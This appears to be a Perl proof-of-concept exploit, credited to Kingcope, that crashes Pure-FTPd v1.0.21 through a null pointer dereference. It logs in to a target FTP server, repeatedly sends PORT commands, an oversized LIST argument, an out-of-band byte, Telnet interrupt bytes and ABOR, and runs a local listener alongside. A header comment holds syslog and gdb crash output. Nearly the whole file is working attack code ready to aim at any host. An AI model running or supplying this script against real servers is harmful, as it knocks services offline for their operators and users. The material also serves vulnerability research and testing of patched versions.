101 lines
No EOL
3 KiB
Perl
Executable file
101 lines
No EOL
3 KiB
Perl
Executable file
#Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04)
|
|
#latest version (v1.0.36) is not affected !!
|
|
#discovered by Kingcope
|
|
#
|
|
#root@ubuntu:~# grep seg /var/log/syslog
|
|
#Aug 13 13:55:28 ubuntu kernel: [ 226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
|
|
#Aug 13 13:56:21 ubuntu kernel: [ 280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
|
|
#Program received signal SIGSEGV, Segmentation fault.
|
|
#[Switching to process 5358]
|
|
#doreply () at ftpd.c:698
|
|
#698 nextentry = scannedentry->next;
|
|
#(gdb) i r
|
|
#eax 0x0 0
|
|
#ecx 0xbf967540 -1080658624
|
|
#edx 0x0 0
|
|
#ebx 0x0 0
|
|
#esp 0xbf967540 0xbf967540
|
|
#ebp 0xbf967588 0xbf967588
|
|
#esi 0x0 0
|
|
#edi 0xbf96756c -1080658580
|
|
#eip 0x804b090 0x804b090 <doreply+256>
|
|
#eflags 0x10217 [ CF PF AF IF RF ]
|
|
#cs 0x73 115
|
|
#ss 0x7b 123
|
|
#ds 0x7b 123
|
|
#es 0x7b 123
|
|
#fs 0x0 0
|
|
#gs 0x33 51
|
|
#(gdb) x/10i $eip
|
|
#=> 0x804b090 <doreply+256>: mov (%eax),%ebx
|
|
# 0x804b092 <doreply+258>: mov %eax,(%esp)
|
|
# 0x804b095 <doreply+261>: call 0x8049928 <free@plt>
|
|
# 0x804b09a <doreply+266>: test %ebx,%ebx
|
|
# 0x804b09c <doreply+268>: mov %ebx,%eax
|
|
# 0x804b09e <doreply+270>: jne 0x804b090 <doreply+256>
|
|
# 0x804b0a0 <doreply+272>: movl $0x0,0x805d040
|
|
# 0x804b0aa <doreply+282>: movl $0x0,0x805d03c
|
|
# 0x804b0b4 <doreply+292>: add $0x3c,%esp
|
|
# 0x804b0b7 <doreply+295>: pop %ebx
|
|
#(gdb)
|
|
|
|
use IO::Socket;
|
|
|
|
$host = $ARGV[0];
|
|
$username = $ARGV[1];
|
|
$password = $ARGV[2];
|
|
$locip = $ARGV[3];
|
|
$locip =~ s/\./,/gi;
|
|
|
|
if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
|
|
print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
|
|
exit;
|
|
}
|
|
|
|
if (fork()) {
|
|
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
|
|
PeerPort => 21,
|
|
Proto => 'tcp');
|
|
while(<$sock>) {
|
|
$p = $_;
|
|
print $p;
|
|
if ($p =~ /220\s/) {
|
|
last;
|
|
}
|
|
|
|
}
|
|
print $sock "USER $ARGV[1]\r\n";
|
|
$p = <$sock>;
|
|
print $p;
|
|
print $sock "PASS $ARGV[2]\r\n";
|
|
$p = <$sock>;
|
|
print $p;
|
|
for ($k=0;$k<100;$k++) {
|
|
print $k."\n";
|
|
print $sock "PORT $locip,146,15\r\n";
|
|
$p = <$sock>;
|
|
print $p;
|
|
$a = "A" x 2560;
|
|
print $sock "LIST $a\r\n";
|
|
select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
|
|
send $sock, "!",MSG_OOB;
|
|
print $sock "\377";
|
|
print $sock "\364";
|
|
print $sock "\377";
|
|
print $sock "\362";
|
|
print $sock "ABOR\r\n";
|
|
$p = <$sock>;
|
|
print $p;
|
|
print $sock "PWD\r\n";
|
|
$p = <$sock>;
|
|
print $p;
|
|
}
|
|
} else {
|
|
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
|
|
die "Could not create socket: $!\n" unless $servsock;
|
|
while(my $new_sock = $servsock->accept()) {
|
|
while(<$new_sock>) {
|
|
print $_;
|
|
}
|
|
}
|
|
} |